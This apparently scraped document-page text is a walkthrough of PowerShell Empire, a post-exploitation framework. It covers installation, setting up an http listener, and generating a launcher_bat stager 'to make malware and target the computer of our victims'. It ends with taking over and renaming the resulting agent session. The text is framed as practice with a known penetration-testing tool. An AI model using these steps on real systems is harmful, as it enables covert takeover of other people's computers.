What Is PowerShell Empire

Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 8

What is PowerShell Empire?

A post-exploitation agent that can operate on all PowerShell


agents is termed as PowerShell Empire. Without the assistance
of modules, keyloggers, or PowerShell.exe, it can be installed.
It bundles every framework and uploads it to GitHub, which is
accessible as a public source and uses adaptive communication
to elude network detection. The intruder uses all the
PowerShell frameworks to accomplish their objectives and
exploits any Windows server using an unknown pattern. The
server then sends the attacker’s desired answer or information
back. Empire is a popular post-exploitation tool for Windows,
Linux, and macOS.

In general, Empire is a PowerShell-specific version of the


Metasploit tool. It enables you to link back to your PC and run
PowerShell scripts in memory.

INSTALLATION

For Kali Linux: sudo apt install powershell-empire

OR

git clone https://github.com/BC-SECURITY/Empire.git

cd Empire

sudo ./setup/install.sh

Features:

 Includes a pure-PowerShell 2.0 Windows agent

 Compatible with Python 3. x Linux/OS X agents

 Deploy Post-Exploitation modules from keyloggers to


Mimikatz.

 Designed in a way to avoid detection


Working:
What is Listener?

A local process that listens for a connection from the attacked


remote host.

What is Stager?

It is a piece of code that uploads the Agent (also known as the


payload) to the attacked remote host.

What is an Agent?

An agent is a process running on the attacked remote host


that connects to your Listener.

What is a Module?

The module is the code that the Agent executes to accomplish


specific

goals.

The method states that we must first set up a listener on our


local PC.

Enter the command as follows:


listeners

No listeners are currently active after executing the


aforementioned command but don’t sweat it, we are now at the
listener interface. Type the following in this listener interface:

uselistener <tab> <tab>

The most popular and commonly used listener is http and we


will use the same in our practice. For that type:

uselistener http

This command establishes a listener on port 80 locally. As this


listener is a http listener, it will only function on port 80, thus
please make sure you disable any services using port 80, such
as Apache. Here are all the options for this listener type that
you need to enter:

Info
There are several settings you may use to alter or personalize
your listener. Let’s try modifying the name of our listener
because, if activated in bulk, it makes it easier to remember all
the listeners that are active. To do this, type:

set Name test

The listeners’ name will be changed from http to test by the


aforementioned command.

Normally, this listener uses the local host IP automatically, but


just in case, you can use the command below to set your IP:

set Host //192.168.1.107

execute

The listener will be run by the above command. Utilize


PowerShell listener once again as displayed in the image.
To return to the listener interface so that we may run our
modules, type “back”. To view all the modules the empire
offers, enter the command below:

usestager <tabt> <tab>

There are several modules available for use on both Windows


and iOS, as shown in the figure below, as well as some
universal ones. We’ll use launcher_ bat to make malware and
target the computer of our victims.

usestager windows/launcher_bat

To examine all the settings needed by the exploit, type “info”


once again. You’ll realise after looking that all we need to
supply is listening. As a result, type:

set Listener test

execute
Following the creation of /tmp/launcher.bat and configuring
the listener test, the two commands will run our exploit.
Execute this file on the victims’ computers using the Python
server. There will be a session while the file is being executed.
To determine the session type:

agents

You may confirm that you have a session activated with the
aforementioned command. The default name for your session
is rather complicated and difficult to remember, so you can
modify it.

rename ZAF3GT5W newname

To access the session, use the procedure below:

interact newname

Try to get an admin session once you have access to the


session.

You might also like